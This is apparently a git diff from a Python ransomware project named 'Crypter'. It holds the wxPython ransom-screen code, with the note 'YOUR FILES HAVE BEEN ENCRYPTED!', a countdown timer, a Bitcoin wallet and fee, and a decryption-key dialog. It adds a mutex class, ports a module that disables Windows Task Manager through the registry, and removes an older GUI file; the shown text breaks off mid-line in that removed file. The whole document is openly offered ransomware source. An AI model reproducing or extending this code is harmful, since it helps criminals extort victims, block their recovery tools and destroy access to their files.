self.SetBackgroundColour( wx.Colour( 177, 7, 14 ) ) - + MainSizer = wx.BoxSizer( wx.VERTICAL ) - + self.HeaderPanel = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) HeaderSizer = wx.BoxSizer( wx.VERTICAL ) - + self.TitleLabel = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"CRYPTER", wx.DefaultPosition, wx.DefaultSize, 0 ) self.TitleLabel.Wrap( -1 ) + self.TitleLabel.SetFont( wx.Font( 48, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True, "Courier New" ) ) self.TitleLabel.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNTEXT ) ) - + HeaderSizer.Add( self.TitleLabel, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 10 ) - + self.FlashingMessageText = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"YOUR FILES HAVE BEEN ENCRYPTED!", wx.DefaultPosition, wx.DefaultSize, 0 ) self.FlashingMessageText.Wrap( -1 ) + self.FlashingMessageText.SetFont( wx.Font( 18, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.FlashingMessageText.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) - + HeaderSizer.Add( self.FlashingMessageText, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - - + + self.HeaderPanel.SetSizer( HeaderSizer ) self.HeaderPanel.Layout() HeaderSizer.Fit( self.HeaderPanel ) MainSizer.Add( self.HeaderPanel, 1, wx.ALL|wx.EXPAND, 5 ) - + self.BodyPanel = wx.Panel( self, wx.ID_ANY, wx.Point( -1,-1 ), wx.DefaultSize, wx.TAB_TRAVERSAL ) BodySizer = wx.BoxSizer( wx.VERTICAL ) - + bSizer15 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer17 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer20 = wx.BoxSizer( wx.VERTICAL ) - + self.m_panel81 = wx.Panel( self.BodyPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) bSizer192 = wx.BoxSizer( wx.VERTICAL ) - + self.LockBitmap = wx.StaticBitmap( self.m_panel81, wx.ID_ANY, wx.NullBitmap, wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer192.Add( self.LockBitmap, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 7 ) - - + + self.m_panel81.SetSizer( bSizer192 ) self.m_panel81.Layout() bSizer192.Fit( self.m_panel81 ) bSizer20.Add( self.m_panel81, 0, wx.EXPAND |wx.ALL, 0 ) - - self.m_panel8 = wx.Panel( self.BodyPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.RAISED_BORDER|wx.TAB_TRAVERSAL ) + + self.m_panel8 = wx.Panel( self.BodyPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL|wx.BORDER_RAISED ) bSizer191 = wx.BoxSizer( wx.VERTICAL ) - + self.TimeRemainingLabel = wx.StaticText( self.m_panel8, wx.ID_ANY, u"TIME REMAINING", wx.DefaultPosition, wx.DefaultSize, 0 ) self.TimeRemainingLabel.Wrap( -1 ) + self.TimeRemainingLabel.SetFont( wx.Font( 16, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.TimeRemainingLabel.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) - + bSizer191.Add( self.TimeRemainingLabel, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 10 ) - + self.TimeRemainingTime = wx.StaticText( self.m_panel8, wx.ID_ANY, u"00:00:00", wx.DefaultPosition, wx.DefaultSize, 0 ) self.TimeRemainingTime.Wrap( -1 ) + self.TimeRemainingTime.SetFont( wx.Font( 16, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.TimeRemainingTime.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNHIGHLIGHT ) ) - + bSizer191.Add( self.TimeRemainingTime, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + self.m_panel8.SetSizer( bSizer191 ) self.m_panel8.Layout() bSizer191.Fit( self.m_panel8 ) bSizer20.Add( self.m_panel8, 0, wx.ALL|wx.EXPAND, 5 ) - - + + bSizer17.Add( bSizer20, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.EXPAND, 5 ) - + bSizer18 = wx.BoxSizer( wx.VERTICAL ) - + self.RansomMessageText = wx.TextCtrl( self.BodyPanel, wx.ID_ANY, u"The important files on your computer have been encrypted with military grade AES-256 bit encryption.\n\nYour documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server.\n\nTo acquire this key, transfer the Bitcoin fee to the Bitcoin wallet address before the time runs out.\n\nIf you fail to take action within this time window, the decryption key will be destoyed and access to your files will be permanently lost.\n\nFor more information on what Bitcoin is, and to learn where you can buy Bitcoins, click the Bitcoin button directly below the timer.", wx.DefaultPosition, wx.DefaultSize, wx.TE_MULTILINE|wx.TE_READONLY ) self.RansomMessageText.SetFont( wx.Font( 14, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Courier New" ) ) - + bSizer18.Add( self.RansomMessageText, 3, wx.ALL|wx.EXPAND, 7 ) - - + + bSizer17.Add( bSizer18, 1, wx.EXPAND, 5 ) - - + + bSizer15.Add( bSizer17, 1, 0, 5 ) - - + + BodySizer.Add( bSizer15, 1, wx.EXPAND, 5 ) - - + + self.BodyPanel.SetSizer( BodySizer ) self.BodyPanel.Layout() BodySizer.Fit( self.BodyPanel ) MainSizer.Add( self.BodyPanel, 2, wx.ALL|wx.EXPAND, 20 ) - + self.FooterPanel = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) bSizer181 = wx.BoxSizer( wx.HORIZONTAL ) - + self.m_panel9 = wx.Panel( self.FooterPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) bSizer22 = wx.BoxSizer( wx.VERTICAL ) - - self.BitcoinButton = wx.BitmapButton( self.m_panel9, wx.ID_ANY, wx.NullBitmap, wx.DefaultPosition, wx.DefaultSize, wx.BU_AUTODRAW ) + + self.BitcoinButton = wx.BitmapButton( self.m_panel9, wx.ID_ANY, wx.NullBitmap, wx.DefaultPosition, wx.DefaultSize, wx.BU_AUTODRAW|0 ) bSizer22.Add( self.BitcoinButton, 0, wx.ALIGN_CENTER|wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + self.m_panel9.SetSizer( bSizer22 ) self.m_panel9.Layout() bSizer22.Fit( self.m_panel9 ) bSizer181.Add( self.m_panel9, 1, wx.EXPAND |wx.ALL, 5 ) - + sbSizer2 = wx.StaticBoxSizer( wx.StaticBox( self.FooterPanel, wx.ID_ANY, wx.EmptyString ), wx.VERTICAL ) - + self.m_panel10 = wx.Panel( sbSizer2.GetStaticBox(), wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) bSizer221 = wx.BoxSizer( wx.VERTICAL ) - + bSizer13 = wx.BoxSizer( wx.HORIZONTAL ) - + self.WalletAddressLabel = wx.StaticText( self.m_panel10, wx.ID_ANY, u"WALLET ADDRESS:", wx.DefaultPosition, wx.DefaultSize, 0 ) self.WalletAddressLabel.Wrap( -1 ) + self.WalletAddressLabel.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.WalletAddressLabel.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) - + bSizer13.Add( self.WalletAddressLabel, 1, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - + self.WalletAddressString = wx.StaticText( self.m_panel10, wx.ID_ANY, u"1BoatSLRHtKNngkdXEeobR76b53LETtpyT", wx.DefaultPosition, wx.DefaultSize, 0 ) self.WalletAddressString.Wrap( -1 ) + self.WalletAddressString.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.WalletAddressString.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNHIGHLIGHT ) ) - + bSizer13.Add( self.WalletAddressString, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer221.Add( bSizer13, 0, wx.EXPAND, 5 ) - + bSizer14 = wx.BoxSizer( wx.HORIZONTAL ) - + self.BitcoinFeeLabel = wx.StaticText( self.m_panel10, wx.ID_ANY, u"BITCOIN FEE", wx.DefaultPosition, wx.DefaultSize, 0 ) self.BitcoinFeeLabel.Wrap( -1 ) + self.BitcoinFeeLabel.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.BitcoinFeeLabel.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) - + bSizer14.Add( self.BitcoinFeeLabel, 1, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - + self.BitcoinFeeString = wx.StaticText( self.m_panel10, wx.ID_ANY, u"1.50", wx.DefaultPosition, wx.DefaultSize, 0 ) self.BitcoinFeeString.Wrap( -1 ) + self.BitcoinFeeString.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) self.BitcoinFeeString.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNHIGHLIGHT ) ) - + bSizer14.Add( self.BitcoinFeeString, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer221.Add( bSizer14, 0, wx.EXPAND, 5 ) - + bSizer19 = wx.BoxSizer( wx.HORIZONTAL ) - - bSizer19.SetMinSize( wx.Size( -1,40 ) ) - - bSizer19.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - - - bSizer19.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + bSizer19.SetMinSize( wx.Size( -1,40 ) ) + + bSizer19.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + + + bSizer19.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.ViewEncryptedFilesButton = wx.Button( self.m_panel10, wx.ID_ANY, u"View Encrypted Files", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer19.Add( self.ViewEncryptedFilesButton, 1, wx.ALL|wx.EXPAND, 5 ) - + self.EnterDecryptionKeyButton = wx.Button( self.m_panel10, wx.ID_ANY, u"Enter Decryption Key", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer19.Add( self.EnterDecryptionKeyButton, 1, wx.ALL|wx.EXPAND, 5 ) - - + + bSizer221.Add( bSizer19, 2, wx.ALIGN_RIGHT|wx.EXPAND, 5 ) - - + + self.m_panel10.SetSizer( bSizer221 ) self.m_panel10.Layout() bSizer221.Fit( self.m_panel10 ) sbSizer2.Add( self.m_panel10, 1, wx.ALL|wx.EXPAND, 5 ) - - + + bSizer181.Add( sbSizer2, 3, wx.EXPAND, 5 ) - - + + self.FooterPanel.SetSizer( bSizer181 ) self.FooterPanel.Layout() bSizer181.Fit( self.FooterPanel ) MainSizer.Add( self.FooterPanel, 1, wx.ALL|wx.EXPAND, 20 ) - - + + self.SetSizer( MainSizer ) self.Layout() - + self.Centre( wx.BOTH ) - + def __del__( self ): pass - + ########################################################################### ## Class ViewEncryptedFilesDialog ########################################################################### class ViewEncryptedFilesDialog ( wx.Frame ): - + def __init__( self, parent ): wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u"Encrypted Files", pos = wx.DefaultPosition, size = wx.Size( 600,400 ), style = wx.DEFAULT_FRAME_STYLE|wx.TAB_TRAVERSAL ) - - self.SetSizeHintsSz( wx.DefaultSize, wx.DefaultSize ) - + + self.SetSizeHints( wx.DefaultSize, wx.DefaultSize ) + BodySizer = wx.BoxSizer( wx.VERTICAL ) - + self.m_panel4 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) TextCtrlSizer = wx.BoxSizer( wx.VERTICAL ) - + self.EncryptedFilesTextCtrl = wx.TextCtrl( self.m_panel4, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, wx.TE_DONTWRAP|wx.TE_MULTILINE|wx.TE_READONLY ) TextCtrlSizer.Add( self.EncryptedFilesTextCtrl, 1, wx.ALL|wx.EXPAND, 5 ) - - + + self.m_panel4.SetSizer( TextCtrlSizer ) self.m_panel4.Layout() TextCtrlSizer.Fit( self.m_panel4 ) BodySizer.Add( self.m_panel4, 1, wx.EXPAND |wx.ALL, 5 ) - - + + self.SetSizer( BodySizer ) self.Layout() - + self.Centre( wx.BOTH ) - + def __del__( self ): pass - + ########################################################################### ## Class EnterDecryptionKeyDialog ########################################################################### class EnterDecryptionKeyDialog ( wx.Dialog ): - + def __init__( self, parent ): wx.Dialog.__init__ ( self, parent, id = wx.ID_ANY, title = u"Decrypt Files", pos = wx.DefaultPosition, size = wx.Size( 500,200 ), style = wx.DEFAULT_DIALOG_STYLE ) - - self.SetSizeHintsSz( wx.DefaultSize, wx.DefaultSize ) - + + self.SetSizeHints( wx.DefaultSize, wx.DefaultSize ) + bSizer12 = wx.BoxSizer( wx.VERTICAL ) - + self.m_panel6 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) MainSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel6, wx.ID_ANY, u"AES Decryption Key" ), wx.VERTICAL ) - - - MainSizer.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - - - MainSizer.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + MainSizer.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + + + MainSizer.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + bSizer13 = wx.BoxSizer( wx.HORIZONTAL ) - - - bSizer13.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer13.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.DecryptionKeyTextCtrl = wx.TextCtrl( MainSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 220,-1 ), 0 ) - self.DecryptionKeyTextCtrl.SetMaxLength( 32 ) + self.DecryptionKeyTextCtrl.SetMaxLength( 32 ) bSizer13.Add( self.DecryptionKeyTextCtrl, 0, wx.ALL, 5 ) - - - bSizer13.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - - + + + bSizer13.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + + MainSizer.Add( bSizer13, 1, wx.EXPAND, 5 ) - - - MainSizer.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + MainSizer.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + OkCancelSizer = wx.StdDialogButtonSizer() self.OkCancelSizerOK = wx.Button( MainSizer.GetStaticBox(), wx.ID_OK ) OkCancelSizer.AddButton( self.OkCancelSizerOK ) self.OkCancelSizerCancel = wx.Button( MainSizer.GetStaticBox(), wx.ID_CANCEL ) OkCancelSizer.AddButton( self.OkCancelSizerCancel ) OkCancelSizer.Realize(); - + MainSizer.Add( OkCancelSizer, 1, wx.EXPAND, 5 ) - + self.StatusText = wx.StaticText( MainSizer.GetStaticBox(), wx.ID_ANY, u"Waiting for input", wx.DefaultPosition, wx.DefaultSize, 0 ) self.StatusText.Wrap( -1 ) + MainSizer.Add( self.StatusText, 0, wx.ALL, 5 ) - + bSizer121 = wx.BoxSizer( wx.HORIZONTAL ) - + self.DecryptionGauge = wx.Gauge( MainSizer.GetStaticBox(), wx.ID_ANY, 100, wx.DefaultPosition, wx.DefaultSize, wx.GA_HORIZONTAL ) - self.DecryptionGauge.SetValue( 0 ) + self.DecryptionGauge.SetValue( 0 ) bSizer121.Add( self.DecryptionGauge, 0, wx.ALL, 5 ) - - - bSizer121.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer121.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.EncryptedFilesNumberLabel = wx.StaticText( MainSizer.GetStaticBox(), wx.ID_ANY, u"Encrypted Files: 0", wx.DefaultPosition, wx.DefaultSize, 0 ) self.EncryptedFilesNumberLabel.Wrap( -1 ) + bSizer121.Add( self.EncryptedFilesNumberLabel, 0, wx.ALL, 5 ) - - + + MainSizer.Add( bSizer121, 1, wx.EXPAND, 5 ) - - + + self.m_panel6.SetSizer( MainSizer ) self.m_panel6.Layout() MainSizer.Fit( self.m_panel6 ) bSizer12.Add( self.m_panel6, 1, wx.EXPAND |wx.ALL, 5 ) - - + + self.SetSizer( bSizer12 ) self.Layout() - + self.Centre( wx.BOTH ) - + def __del__( self ): pass - + diff --git a/Crypter/Crypter/Mutex.py b/Crypter/Crypter/Mutex.py new file mode 100644 index 0000000..d1389cf --- /dev/null +++ b/Crypter/Crypter/Mutex.py @@ -0,0 +1,53 @@ +''' +Crypter - Mutext Class +@author: Sithis +''' + +# Import Libs +import win32event +import win32api +import winerror + +# Import Package Libs + +# ================================================================ +# = Mutex Class +# =============================================================== +class Mutex(): + ''' + Provides a Mutex object + ''' + + # Properties + MUTEX_NAME = "mutex_rr_windows" + + def __init__(self): + ''' + Constructor + ''' + self.__mutex = self.__acquire() + + + def __acquire(self): + ''' + Attempts to acquire the mutex + @raise MutexAlreadyAcquired + ''' + + mutex = win32event.CreateMutex(None, 1, self.MUTEX_NAME) + if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: + raise MutexAlreadyAcquired() + + return mutex + + +# ================================================================ +# = MutexAlreadyAcquired Exception Class +# =============================================================== +class MutexAlreadyAcquired(Exception): + ''' + To be raised in the even that the mutex has already been acquired + ''' + + + diff --git a/Crypter/ScheduledTask.py b/Crypter/Crypter/ScheduledTask.py similarity index 100% rename from Crypter/ScheduledTask.py rename to Crypter/Crypter/ScheduledTask.py diff --git a/Crypter/TaskManager.py b/Crypter/Crypter/TaskManager.py similarity index 61% rename from Crypter/TaskManager.py rename to Crypter/Crypter/TaskManager.py index f55de43..8b13db1 100644 --- a/Crypter/TaskManager.py +++ b/Crypter/Crypter/TaskManager.py @@ -4,7 +4,7 @@ ''' # Import libs -import _winreg +import winreg class TaskManager(object): @@ -33,27 +33,27 @@ def disable(self): # Try to read the key try: - reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) - disabled = _winreg.QueryValueEx(reg, "DisableTaskMgr")[0] - _winreg.CloseKey(reg) + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) + disabled = winreg.QueryValueEx(reg, "DisableTaskMgr")[0] + winreg.CloseKey(reg) key_exists = True except: pass # If key doesn't exist, create it and set to disabled if not key_exists: - reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, + reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) - _winreg.SetValueEx(reg, "DisableTaskMgr", 0, _winreg.REG_DWORD, 0x00000001) - _winreg.CloseKey(reg) + winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000001) + winreg.CloseKey(reg) # If enabled, disable it elif key_exists and not disabled: - reg = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, + reg = winreg.OpenKey(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION, 0, - _winreg.KEY_SET_VALUE) - _winreg.SetValueEx(reg, "DisableTaskMgr", 0, _winreg.REG_DWORD, 0x00000001) - _winreg.CloseKey(reg) + winreg.KEY_SET_VALUE) + winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000001) + winreg.CloseKey(reg) def enable(self): @@ -64,21 +64,21 @@ def enable(self): # Try to read the key try: - reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) - disabled = _winreg.QueryValueEx(reg, "DisableTaskMgr")[0] - _winreg.CloseKey(reg) + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) + disabled = winreg.QueryValueEx(reg, "DisableTaskMgr")[0] + winreg.CloseKey(reg) key_exists = True except: pass # If key exists and is disabled, enable it if key_exists and disabled: - reg = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, + reg = winreg.OpenKey(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION, 0, - _winreg.KEY_SET_VALUE) - _winreg.SetValueEx(reg, "DisableTaskMgr", 0, _winreg.REG_DWORD, 0x00000000) - _winreg.CloseKey(reg) + winreg.KEY_SET_VALUE) + winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000000) + winreg.CloseKey(reg) if __name__ == "__main__": diff --git a/Crypter/Crypter/__init__.py b/Crypter/Crypter/__init__.py new file mode 100644 index 0000000..b73c668 --- /dev/null +++ b/Crypter/Crypter/__init__.py @@ -0,0 +1,7 @@ +''' +Crypter Package +@author: Sithis +''' + +from .Crypter import Crypter +from . import Mutex \ No newline at end of file diff --git a/Crypter/Gui.py b/Crypter/Gui.py deleted file mode 100644 index 404a49a..0000000 --- a/Crypter/Gui.py +++ /dev/null @@ -1,507 +0,0 @@ -"""Subclass of MainFrame, which is generated by wxFormBuilder.""" -''' -@summary: Crypter: GUI Class -@author: MLS -''' - -# Import libs -import wx -import os -import time -import webbrowser - -# Threading imports -from threading import Thread, Event -from wx.lib.pubsub import setuparg1 -from wx.lib.pubsub import pub as Publisher - -# Import Classes -import Base -from GuiAbsBase import MainFrame -from GuiAbsBase import ViewEncryptedFilesDialog -from GuiAbsBase import EnterDecryptionKeyDialog - - -############################ -## DECRYPTIONTHREAD CLASS ## -############################ -class DecryptionThread(Thread): - ''' - @summary: Provides a thread for file decryption - ''' - - def __init__(self, encrypted_files_list, decrypted_files_list, parent, - decrypter, decryption_key): - ''' - @summary: Constructor: Starts the thread - @param encrypted_files_list: The list of encrypted files - @param decrypted_files_list: The list of files that were decrypted, but have now been decrypted - @param parent: Handle to the GUI parent object - @param decrypter: Handle to the decrypter (Main object) - @param decryption_key: AES 256 bit decryption key to be used for file decryption - ''' - self.parent = parent - self.encrypted_files_list = encrypted_files_list - self.decrypted_files_list = decrypted_files_list - self.decrypter = decrypter - self.decryption_key = decryption_key - self.in_progress = False - self.decryption_complete = False - self._stop_event = Event() - - # Start thread - Thread.__init__(self) - self.start() - - - def run(self): - ''' - @summary: Performs decryption of the encrypted files - ''' - self.in_progress = True - time.sleep(0.5) - - # Iterate encrypted files - for i in range(len(self.encrypted_files_list)): - - # Check for thread termination signal and break if set - if self._stop_event.is_set(): - break - else: - # Decrypt file and add to list of decrypted files. Update progress - self.decrypter.decrypt_file(self.encrypted_files_list[i], self.decryption_key) - self.decrypted_files_list.append(self.encrypted_files_list[i]) - Publisher.sendMessage("update", "") - - - # Encryption stopped or finished - self.in_progress = False - - # Check if decryption was completed - if len(self.decrypted_files_list) == len(self.encrypted_files_list): - self.decryption_complete = True - - # Run a final progress update - Publisher.sendMessage("update", "") - - # Remove decrypted files from the list of encrypted files - # Update the GUIs encrypted and decrypted file lists - for file in self.decrypted_files_list: - if file in self.encrypted_files_list: - self.encrypted_files_list.remove(file) - - # Make sure GUI file lists are up-to-date - self.parent.decrypted_files_list = [] - self.parent.encrypted_files_list = self.encrypted_files_list - - # If forcefully stopped, close the dialog - if self._stop_event.is_set(): - self.parent.decryption_dialog.Destroy() - - - def stop(self): - ''' - @summary: To be called to set the stop event and terminate the thread after the next cycle - ''' - - # If complete or not in progress, and event is already set, close forcefully - if self.decryption_complete or not self.in_progress: - self.parent.decryption_dialog.Destroy() - # Otherwise, only set signal - else: - self._stop_event.set() - - -############### -## GUI CLASS ## -############### -class Gui( MainFrame, ViewEncryptedFilesDialog, EnterDecryptionKeyDialog, Base.Base): - ''' - @summary: Main GUI class. Inherits from GuiAbsBase and defines Crypter specific functions, - labels, text, buttons, images etc. Also inherits from main Base for schema - ''' - - def __init__( self, image_path, start_time, decrypter, config): - ''' - @summary: Constructor - @param image_path: The path to look at to find resources, such as images. - @param start_time: EPOCH time that the encryption finished. - @param decrypter: Handle back to Main. For calling decryption method - @param config: The ransomware's runtime config dict - ''' - # Handle Params - self.image_path = image_path - self.start_time = start_time - self.decrypter = decrypter - self.__config = config - self.decryption_thread = None - self.decryption_dialog = None - self.encrypted_files_list = self.decrypter.get_encrypted_files_list() - self.decrypted_files_list = [] - - # Define other vars - self.set_message_to_null = True - - # Super - MainFrame.__init__( self, parent=None ) - - # Update GUI visuals - self.update_visuals() - - # Update events - self.set_events() - - # Create pubsub listener to update the decryption progress - Publisher.subscribe(self.update_decryption_progress, "update") - - - def update_decryption_progress(self, msg): - ''' - @summary: Updates the decryption progress in the GUI - ''' - - # Calculate percentage completion - if len(self.encrypted_files_list) == 0: - percentage_completion = 100 - else: - percentage_completion = float(len(self.decrypted_files_list)) * 100.0 / float(len(self.encrypted_files_list)) - - # Update number of encrypted files remaining - if not self.decryption_thread.decryption_complete: - encrypted_files_remaining = len(self.encrypted_files_list) - len(self.decrypted_files_list) - else: - encrypted_files_remaining = 0 - - # Set encrypted files number in GUI - self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( - "Encrypted Files: %s" % encrypted_files_remaining) - - # Update Decryption percentage completion - if percentage_completion != 100: - self.decryption_dialog.StatusText.SetLabelText( - self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (%d%%)" % percentage_completion - ) - else: - self.decryption_dialog.StatusText.SetLabelText( - self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED[self.LANG] + " (%d%%)" % percentage_completion - ) - - # Update decryption gauge - if self.encrypted_files_list: - self.decryption_dialog.DecryptionGauge.SetValue(percentage_completion) - else: - self.decryption_dialog.DecryptionGauge.SetValue(100) - - # If the decryption has successfully finished, update the GUI - if not self.decryption_thread.in_progress and self.decryption_thread.decryption_complete: - # Cleanup decrypter and change dialog message - self.decrypter.cleanup() - # Update main window - self.key_destruction_timer.Stop() - self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_DECRYPTED[self.LANG]) - self.FlashingMessageText.SetForegroundColour( wx.Colour(2, 217, 5) ) - self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) - self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) - - # Disable decryption and files list buttons - self.EnterDecryptionKeyButton.Disable() - self.ViewEncryptedFilesButton.Disable() - - - def open_url(self, event): - ''' - @summary: Opens a web browser at the Bitcoin URL - ''' - - webbrowser.open(self.BTC_BUTTON_URL) - - - def set_events(self): - ''' - @summary: Create button and timer events for GUI - ''' - - # Create and bind timer event - self.key_destruction_timer = wx.Timer() - self.key_destruction_timer.SetOwner( self, wx.ID_ANY ) - self.key_destruction_timer.Start( 500 ) - self.Bind(wx.EVT_TIMER, self.blink, self.key_destruction_timer) - - # Create button events - self.Bind(wx.EVT_BUTTON, self.show_encrypted_files, self.ViewEncryptedFilesButton) - self.Bind(wx.EVT_BUTTON, self.show_decryption_dialog, self.EnterDecryptionKeyButton) - self.Bind(wx.EVT_BUTTON, self.open_url, self.BitcoinButton) - - - def stop_decryption(self, event): - ''' - @summary: Called when the decryption dialog is closed. Sends a stop event - signal to the decryption thread if it exists - ''' - - # Send stop event to the decryption thread if it exists - if self.decryption_thread and self.decryption_thread.in_progress: - self.decryption_thread.stop() - # Otherwise just kill the dialog - else: - self.decryption_dialog.Destroy() - - - def show_decryption_dialog(self, event): - ''' - @summary: Creates a dialog object to show the decryption dialog - ''' - - # If dialog open. Don't open another - if self.decryption_dialog: - return - - # Create dialog object - self.decryption_dialog = EnterDecryptionKeyDialog(self) - # Set gauge size - self.decryption_dialog.DecryptionGauge.SetRange(100) - # Set encrypted file number - self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( - self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FILE_COUNT[self.LANG] + str( - len(self.encrypted_files_list) - len(self.decrypted_files_list) - ) - ) - - # Bind OK button to decryption process - self.decryption_dialog.Bind(wx.EVT_BUTTON, self.start_decryption_thread, self.decryption_dialog.OkCancelSizerOK) - # Bind close and cancel event to thread killer - self.decryption_dialog.Bind(wx.EVT_BUTTON, self.stop_decryption, self.decryption_dialog.OkCancelSizerCancel) - self.decryption_dialog.Bind(wx.EVT_CLOSE, self.stop_decryption) - self.decryption_dialog.Show() - - - def start_decryption_thread(self, event): - ''' - @summary: Called once the "OK" button is hit. Starts the decryption process (inits the thread) - ''' - - # Check for valid key - key_contents = self.decryption_dialog.DecryptionKeyTextCtrl.GetLineText(0) - if len(key_contents) < 32: - self.decryption_dialog.StatusText.SetLabelText(self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_INVALID_KEY[self.LANG]) - return - else: - self.decryption_dialog.StatusText.SetLabelText( - 